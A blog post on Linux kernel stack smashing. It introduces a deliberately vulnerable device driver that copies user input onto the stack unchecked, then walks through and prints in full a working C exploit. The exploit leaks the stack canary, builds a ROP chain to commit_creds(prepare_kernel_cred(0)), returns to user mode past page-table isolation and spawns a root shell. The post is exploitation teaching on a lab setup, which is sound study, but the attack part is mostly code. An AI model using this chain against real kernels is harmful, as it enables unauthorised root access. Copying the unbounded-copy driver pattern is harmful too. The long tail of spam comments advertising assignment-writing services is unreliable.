Linux Kernel Stack Smashing

Dr Silvio Cesare
@silviocesare
 

Summary


In this blog post I’ll discuss how to exploit the Linux kernel via a stack smashing attack. I’ll be attacking the latest kernel version. I’ll also introduce a vulnerable device driver that I wrote so that I can focus on the exploitation development and not the vulnerability research. 


A number of mitigations were introduced in recent years, such as Kernel Page Table Isolation and control register pinning, which makes some previous techniques obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc and gain a rootshell.

An overview of the attack


The attack can be split up into a number of stages:

·        Defeat KASLR
·        Leak the stack canary
·        Stack smash and overwrite the canary and return address to trigger a ROP chain
·        ROP to change the current creds to UID 0
·        ROP into the code that returns from a system call and continues execution in user space
·        Continue execution in user space and exec a shell now running at UID 0

It’s hard to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit. That is, we don’t have to disable SMEP/SMAP for the above exploit to work.

The vulnerable device driver


I’m going to provide primitives for leaking the stack canary in my vulnerable device driver. The way I do this is by providing an IOCTL to the device I create.


        const char *device_name = "/dev/vuln_device";
        unsigned long canary;
        int fd;

        fd = open(device_name, O_RDWR);
        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {
                fprintf(stderr, "error: ioctl\n");
                exit(1);
        }
        canary = arg.value;
 


I’m also going to disable KASLR with the nokaslr kernel boot time options. Of course, my vulnerable device driver has a kernel stack overflow that I can trigger. The way I do this is by opening up the device file in /dev and simply writing to it. There isn’t any bounds checking and the buffer that is written is copied onto the stack. Here is the kernel code that does that:


        static ssize_t arb_rw_write(struct file *filp,
               const char __user *buf, size_t len, loff_t *off)
{
        char stack_buf[16];
        char *p;
        p = kmalloc(len, GFP_KERNEL);
        copy_from_user(p, buf, len);
        unsafe_memcpy(stack_buf, p, len);
        return len;
}

Exploitation


The exploit simply overwrites the stack canary with the correct value then overwrites the return address with the beginning of a ROP chain. The first part of the exploit looks like this:

int main(int argc, char *argv[])

{
        struct arb_rw_arg_s arg = { 0, 0 };
        const char *device_name = "/dev/vuln_device";
        unsigned long canary;
        int fd;
        unsigned long ropchain[20];

        fd = open(device_name, O_RDWR);
        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {
                fprintf(stderr, "error: ioctl\n");
                exit(1);
        }
        canary = arg.value;
        save_status(); // shown later

        printf("Canary: 0x%lx\n", canary);

        ropchain[0] = 0x4142434445464748;
        ropchain[1] = 0x4142434445464748;
        ropchain[2] = canary;
        ropchain[3] = 0x41;
        ropchain[4] = 0x41;
        ropchain[5] = 0x41;
        ropchain[6] = 0x41;
        ropchain[7] = pop_rdi; // return address

The address at ropchain[7] is the return address. This begins our ROP chain.
What we are going to use to privesc is the following code once the ROP chain is complete

        commit_creds(prepare_kernel_cred(0));

To find the address of these functions, I was using gdb on the kernel image (vmlinux). To build the ROP gadgets I ran ropper on the image. It took about 20G of memory and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with kernel debugging. It was essential to have a good debugging environment to single step through the ROP chain and debug what was going on.

To ROP the privesc code, we need the following. Note the gadget we use to move the return value of prepare_kernel_cred into the argument for commit_creds. On some kernel versions, this gadget isn’t directly available, so I’ve had to use other variants in the past.

                 unsigned long commit_creds = 0xffffffff810be110;


        unsigned long prepare_kernel_cred = 0xffffffff810be580;

        // xchg rax, rdi; ret
        unsigned long move_rax_to_rdi = 0xffffffff81918e14;
        // pop rdi; ret;
        unsigned long pop_rdi = 0xffffffff81083470;

        ropchain[7] = pop_rdi;
        ropchain[8] = 0x0;
        ropchain[9] = prepare_kernel_cred;
        ropchain[10] = move_rax_to_rdi;
        ropchain[11] = commit_creds;

The remaining part of our ROP chain is to return execution in user mode. Let’s look at code in arch/x86/entry/entry_64.S


SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)
#ifdef CONFIG_DEBUG_ENTRY
        /* Assert that pt_regs indicates user mode. */
        testb   $3, CS(%rsp)
        jnz     1f
        ud2
1:
#endif
        POP_REGS pop_rdi=0

        /*
         * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
         * Save old stack pointer and switch to trampoline stack.
         */
        movq    %rsp, %rdi
        movq    PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp

        /* Copy the IRET frame to the trampoline stack. */
        pushq   6*8(%rdi)       /* SS */
        pushq   5*8(%rdi)       /* RSP */
        pushq   4*8(%rdi)       /* EFLAGS */
        pushq   3*8(%rdi)       /* CS */
        pushq   2*8(%rdi)       /* RIP */

        /* Push user RDI on the trampoline stack. */
        pushq   (%rdi)

        /*
         * We are on the trampoline stack.  All regs except RDI are live.
         * We can do future final exit work right here.
         */
        STACKLEAK_ERASE_NOCLOBBER

        SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

        /* Restore RDI. */
        popq    %rdi
        SWAPGS
        INTERRUPT_RETURN


We are going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the appropriate code to handle kernel page table isolation and continue usermode code execution. In the following code we will set &shell to be the code which in usermode execs a shell.

Once we build the ROP chain we write our buffer to the device and the kernel stack is smashed and exploited.

                 ropchain[12] = iret_back_to_user_mode;


        ropchain[13] = 0x0; // user_rdi

        ropchain[14] = 0x0; // orig_eax
        ropchain[15] = (unsigned long)&shell;
        ropchain[16] = ucs;
        ropchain[17] = urflags;
        ropchain[18] = ursp;
        ropchain[19] = uss;

        write(fd, &ropchain[0], 20*sizeof(unsigned long));

        exit(1); // not reached

Conclusion

I presented techniques for stack smashing on the latest Linux kernel. The techniques don't require a bypass for SMEP/SMAP.

Appendix

The complete exploit is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include "vuln_driver.h"

static void
shell(void)
{
        execl("/bin/bash", "/bin/bash", NULL);
}

static uint64_t ucs, uss, ursp, urflags;

static void
save_status(void)
{
        asm volatile ("mov %cs, ucs");
        asm volatile ("mov %ss, uss");
        asm volatile ("mov %rsp, ursp");
        asm volatile ("pushf");
        asm volatile ("pop urflags");
}

unsigned long commit_creds = 0xffffffff810be110;
unsigned long prepare_kernel_cred = 0xffffffff810be580;

// 0xffffffff81c00aa7
unsigned long swapgs_iretq = 0xffffffff81c00a8a;

// 0xffffffff81918e14: xchg rax, rdi; ret
unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// 0xffffffff812faf07: xor esi, esi; ret;
unsigned long xor_esi_esi = 0xffffffff812faf07;

// 0xffffffff81083470: pop rdi; ret;
unsigned long pop_rdi = 0xffffffff81083470;

int
main(int argc, char *argv[])
{
        struct arb_rw_arg_s arg = { 0, 0 };
        const char *device_name = "/dev/vuln_device";
        unsigned long canary;
        int fd;
        unsigned long ropchain[20];

        fd = open(device_name, O_RDWR);
        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {
                fprintf(stderr, "error: ioctl\n");
                exit(1);
        }
        canary = arg.value;
        save_status();

        printf("Canary: 0x%lx\n", canary);

        ropchain[0] = 0x4142434445464748;
        ropchain[1] = 0x4142434445464748;
        ropchain[2] = canary;
        ropchain[3] = 0x41;
        ropchain[4] = 0x41;
        ropchain[5] = 0x41;
        ropchain[6] = 0x41;
        ropchain[7] = pop_rdi;
        ropchain[8] = 0x0;
        ropchain[9] = prepare_kernel_cred;
        ropchain[10] = move_rax_to_rdi;
        ropchain[11] = commit_creds;
        ropchain[12] = swapgs_iretq;
        ropchain[13] = 0x0; // user_rdi
        ropchain[14] = 0x0; // orig_eax
        ropchain[15] = (unsigned long)&shell;
        ropchain[16] = ucs;
        ropchain[17] = urflags;
        ropchain[18] = ursp;
        ropchain[19] = uss;

        write(fd, &ropchain[0], 20*sizeof(unsigned long));

        exit(1);
}
 


Comments

  1. They apparently need best assignment service so that they can write high-quality assignments and score better grades while also gaining in-depth knowledge on the topic from top experts who provide best assignment service. Make My Assignment

    ReplyDelete
  2. Students struggle a lot of time in completing their academic task, that is why the team of professional writers at MyAssignmentHelp is here to offer you finance coursework help services. Our online assignment makers understand all your requirements and work in the asked direction to solve your coursework problems in a easy way.

    ReplyDelete
  3. The post is quite informative and appears to be all-encompassing as I could derive a lot on the topic by reading through it. At MyAssignmentHelpAu, We Offer Pocket-Friendly Services And Write Tailored Assignments. Students Trust Our Assignment Help in Australia. To Get Authentic Assignments Within Deadlines, Hire Us Today!

    ReplyDelete
  4. Looking for assignment help at reasonable prices? You should definitely look at all assignment help services provided by My Assignment Experts. Their academic writing help is of high quality, free of any sort of plagiarism and follows all the university guidelines. They provide you the perfect paper so that you can score better grades always. Our assignment experts always submit assignments well before the deadline so students never need to worry about that and also help you to improve your knowledge too.

    ReplyDelete
  5. If you are looking for an easy way out to deliver high quality of academic-related work on time then ask My Assignment Experts for help. We offer you specialized assistance for all of your subjects and topics from professional essay writers. Our services include like :Free unlimited revisions, clock customer support, and money back guarantees

    ReplyDelete
  6. Finding the best healthcare research paper services and Healthcare Essay Writing Services is not easy unless one is keen to establish a professional healthcare assignment writing service provider & healthcare homework help online.

    ReplyDelete
  7. You had me engaged by reading and you know what? I want to read more about that. That's what's used as an amusing post.
    read more:- Accounting Assignment Help

    ReplyDelete
  8. I work in Guruji Educational is a Brand deal in online Education through different apps, prepared for the purpose of documenting professional development in the Education field such as
    Logical Reasoning
    English Grammar
    English Stories
    SSC CGL 2020
    English
    PreSchool Learning
    Moral English Stories

    ReplyDelete
  9. Medical research paper writing services seekers have been on the rise lately since most learners need Medical Assignment Writing Services, medicine essay writing help and nursing essay writing services.

    ReplyDelete
  10. GotoAssignmentHelp has been providing assistance in Assignment Help Australia & helping a lot of students who often get worried about their assessment tasks and come online to get help for it.

    ReplyDelete
  11. Get the best assignment help from Australia by experts at affordable prices. Get the best assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  12. Get the best business law assignment help from Australia by experts at affordable prices. Get the best business law assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  13. If you are unable to draft your tourism and hospitality assignment and looking for assignment help service then you can hire experienced assignment writers from SourceEssay.
    research paper writing service
    Marketing Assignment Help
    Project Management Assignment Help
    online assignment help

    ReplyDelete
  14. Get the best science assignment help from Australia by experts at affordable prices. Get the best science assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  15. If writing the history essay is quite a challenge for you, our guidelines wil help. You will find everything to master your essay.

    ReplyDelete
  16. GotoAssignmentHelp constantly aim to provide a global and world perspective in your Assignment Help Oman answers and lets you connect with a writer who understands you. This company has been trusted by millions of students worldwide for their incredible help with assignment that are provided to students worldwide.

    ReplyDelete
  17. Get the best risk management assignment help from Australia by experts at affordable prices. Get the best risk management assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  18. Get the best sociology assignment help from Australia by experts at affordable prices. Get the best sociology assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  19. Get the best civil engineering assignment help from Australia by experts at affordable prices. Get the best civil engineering assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  20. Best Assignment Experts work 24*7 round the clock instantly to help you and to support you promptly as we know time counts a lot in your assignment submissions. The most affordable website for your all assignment help is surely the best assignment experts.com

    ReplyDelete
  21. Our team and the experts are working with best and amazing knowledge in completing all your task accurately and in the asked format. So, you can get the best homework writing services today and score high marks. Order the best geography homework help service provider from the professional experts of MyAssignmentHelp

    ReplyDelete
  22. Get the best law assignment help from Australia by experts at affordable prices. Get the best law assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  23. Such a wonderful information blog post on this topic Allassignmentservices.com provides assignment service at affordable cost in a wide range of subject areas for all grade levels, we are already trusted by thousands of students who struggle to write their academic papers and also by those students who simply want Strategic Management Assignment Help to save their time and make life easy.

    ReplyDelete
  24. Get the best chemistry assignment help from Australia by experts at affordable prices. Get the best chemistry assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  25. Hi, I am Stella brown I am reading your blog, It is an amazing blog thanks for the sharing the blog. Allassignmentservices.com provide the best assignment writing service such as an information about education for students queries. Allassignmentservices also provide the instant assignment help australia. Students from different walks of life can afford our assignment help services as we are affordable. Moreover, our team of academic writers is highly efficient at their work.

    ReplyDelete
  26. Education is one of the most significant parts of every student's life, while it is extremely vital to survive, it also distracts the students from gaining a practical perspective about life.

    All Assignment Services strives to make the lives of Australian students easier and their efforts more effective, productive, and as a contribution to their growth. We are dedicated to providing educational Australian online assignment help services to reduce the stress and workload. We progressively work on developing a plan of action for enhancing knowledge amongst students. We've built a team of prime experts to deliver editing, proofreading, and writing services. Our customer support is tremendous.

    ReplyDelete
  27. Expert assignment help services are not easy to find. There is immense saturation in the field of academic writing with hundreds of newbie freelancers and essay typers trying to make a few extra bucks by simple,essay structure

    ReplyDelete
  28. Get the best business assignment help from Australia by experts at affordable prices. Get the best business assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  29. clara smith is a subject matter expert in Humanities. She received her doctorate from one of the most reputed universities in the USA. She writes essay ,and
    paper writing on a daily basis and hence she knows about paraphrasing machines that are available online.

    ReplyDelete
  30. Simply keep these ground rules in mind, and set your best foot forward towards bagging a job of an expert academic paper and mba essay writing service
    Cheers!

    ReplyDelete
  31. Thanks for your article. It was interesting and informative.
    Here I also want to suggest your reader who usually travels one place to another they must visit Airlines Gethuman that offer best deals to book your seat on Delta Airlines Reservations. So do hurry and avail the best deals and get rid of to check different websites for offers.
    Delta Airline Reservations
    Southwest Airlines Flights

    ReplyDelete
  32. Nice Blog, Keep sharing study related blog, this will help student.
    I am anna, a professional engineering teacher, helps you out provides engineering textbook solutions manual

    ReplyDelete
  33. Hi, this is a nice blog thanks for sharing the Informative blog content. I am Axel Smith from USA. I am working as a full-time academic consultant with Crazy For Study. we providing Physics Solution Manuals services in USA to university or students. I served the stressed students residing in USA for more than 7 years and hold excellent writing skills and provides guidance to academic scholars and students.

    ReplyDelete
  34. It was very useful to me. Thank you so much as you have been willing to share information with us. We will forever admire all you have done here ajay saini.

    ReplyDelete
  35. This is really best content for me and Thanks for the author for writing a informative post for us. Please share some content others topics. australia assignment help -
    assignment help in melbourne -
    Assignment Help Adelaide

    ReplyDelete
  36. Looking the best convection microwave oven in India under 10000 with high quality service. Get
    now! best convection microwave oven

    ReplyDelete
  37. Digital marketing and web development need to work together. In simple terms digital marketing is marketing that makes use of electronic devices. This includes computers, tablets, smartphones, cell-phones, digital billboards, games' consoles and apps to engage consumers.Reflekt Visual Pvt Ltd Understand use of Website Development and Digital marketing and provide it successfully.

    ReplyDelete
  38. Amazing article. Your blog helped me to improve myself in many ways thanks to sharing this kind of wonderful informative blog in life. If someone wants to know about Our Company
    Reflekt Visual Pvt Ltd
    Visit below :
    Digital marketing services
    Website design and development
    E-commerce developmen
    Logo designing company

    ReplyDelete
  39. Ace Divino Noida Extension introduces a line of skyscraper towers to accommodate a wide variety of 2bhk flat in greater noida, 2 bhk flat in greater noida and 3 bhk, 4 bhk Apartments which are raised on different floor areas of various layouts. Following the customs of ACE Group, these ACE Divino Apartments are according to Vaastu living arrangements to guarantee positive vibes in the insides of the homes and thriving of the inhabitants living in these flats. contact us now :- +918076042671

    ReplyDelete
  40. Get the best assignment help from Australia by experts at affordable prices. Get the best assignment writing services by professional assignment writers of Australia. On-Time Delivery. A+ Quality.

    ReplyDelete
  41. For guidance in computer science and Assignment help with tips and tricks.

    ReplyDelete
  42. Being a tutorial writer from past 5 years providing dissertation writing services to high school and university students also associated with greatassignmenthelp.com platform. There are many Assignment Help best service provide out there within the market but are those service providers UAE and USA based companies. what percentage times didn't complete your assignment before the submission deadline? do i always struggle to impress your teacher with an incredible write-up?

    ReplyDelete
  43. It’s not easy to solve the mathematical equations on Coursework Help. You may need to invest tons of your time and energy to urge the proper answers. It’s okay if you've got a time crunch thanks to the pressure of other assignments. We will provide reliable Coursework help whenever you ask for Can I Pay Someone to Do My Coursework at greatassignmenthelp.com

    ReplyDelete
  44. Get the best Project Management Assignment Help from Australia by experts at affordable prices and grab the A+ score in our assignment. The assignment problem is a fundamental combinatorial optimization problem where the objective is to assign a number of resources to an equal number of activities so get the best Project Management Assignment Help and On-Time Delivery. A+ Quality.

    ReplyDelete
  45. We provide all type of Programming Assignment Help at affordable price with high-quality services to students in the USA. Our programming tutors and experts are available 24*7 for providing Programming Assignment so get the best Programming Assignment Help from Australia by experts at affordable prices. On-Time Delivery. A+ Quality.

    ReplyDelete
  46. How Our PhD. Experts Help Students To Rewriting Their Essay, who dont know how to write an essay

    ReplyDelete
  47. Get the best Law Assignment Help from Australia by experts at affordable prices and grab the A+ score in our assignment. The assignment problem is a fundamental combinatorial optimization problem where the objective is to assign a number of resources to an equal number of activities, we provide a variety of law assignment writing services to help students in their academic and professional legal studies so get the best Law Assignment Help and On-Time Delivery. A+ Quality.

    ReplyDelete
  48. It often happens when buying equipment, without first familiarizing yourself with the characteristics of the operation, first of all, you start to panic that some part is missing, or in a hurry did not adjust all the intended positions for the operation of equipment. Therefore, I advise you, first of all, to get acquainted with the details of the instructions, or contact the experts in this field and even study and help you how to write a good presentation implement their plans and become excellent professionals in the field of technology.

    ReplyDelete
  49. Assignment Help in Adelaide
    You can get all sorts of dissertation help, thesis help essay help, assignment help, presentation help service in Adelaide (Australia). Thetutorshelp these websites help students https://www.thetutorshelp.com/assignment-help-in-adelaide.php

    ReplyDelete
  50. Assignment Help in Australia
    Online Assignment Help In Australia service helps the student with their assignments, therefore, lifting work pressure off their shoulders. Also, it's important for students to focus on the things they like to do too; Thetutorshelp these websites help students https://www.thetutorshelp.com/australia.php

    ReplyDelete
  51. Its a tool known universally and comprises e-learning modules, books and
    many practices set to clear the concepts of the learners. We provide Perdisco Assignment help

    ReplyDelete
  52. Clear all your doubts and know know digital marketing hindi or digital marketing
    kya hota hai? Read here. what is digital marketing in hindi

    ReplyDelete
  53. Hire the best online Management Assignment experts for your Management Assignment Help, projects and solutions at affordable prices. Our tutors and experts are available 24*7 for providing assignments so get the best Management Assignment Help from Australia by experts at affordable prices. On-Time Delivery. A+ Quality.

    ReplyDelete
  54. Here you can get all the details about trp full form, trp meaning or trp meaning in hindi complete
    guide to trp. trp full form

    ReplyDelete
  55. Contact My Assignment Help online website to get our assignment help service for all your academic tasks. Through a team of over 3000 subject experts we offer individual attention to every student making the assignment help experience completely unique and stress-free for students aiming to score high in every assignment.

    ReplyDelete
  56. Get the best IT Assignment Help from Australia by experts at affordable prices and grab the A+ score in our assignment. The assignment problem is a fundamental combinatorial optimization problem where the objective is to assign a number of resources to an equal number of activities so get the best Assignment Help and On-Time Delivery. A+ Quality.

    ReplyDelete
  57. ABC Assignment Help is the most recognized and preferred one stop solution for students to get professional assignment help in any subject in Australia. Contact us now to connect with our experienced writers and score outstanding grades in your concerned subject.

    ReplyDelete
  58. Hire the best online Engineering Assignment experts for your Engineering Assignment Help, projects at affordable prices. Our tutors and experts are available 24*7 for providing assignments so get the best Assignment Help from Australia by experts at affordable prices. On-Time Delivery. A+ Quality.

    ReplyDelete

Post a comment

Popular posts from this blog

Heap Exploitation in Chrome's PartitionAlloc - part 1

Linux Heap TCache Poisoning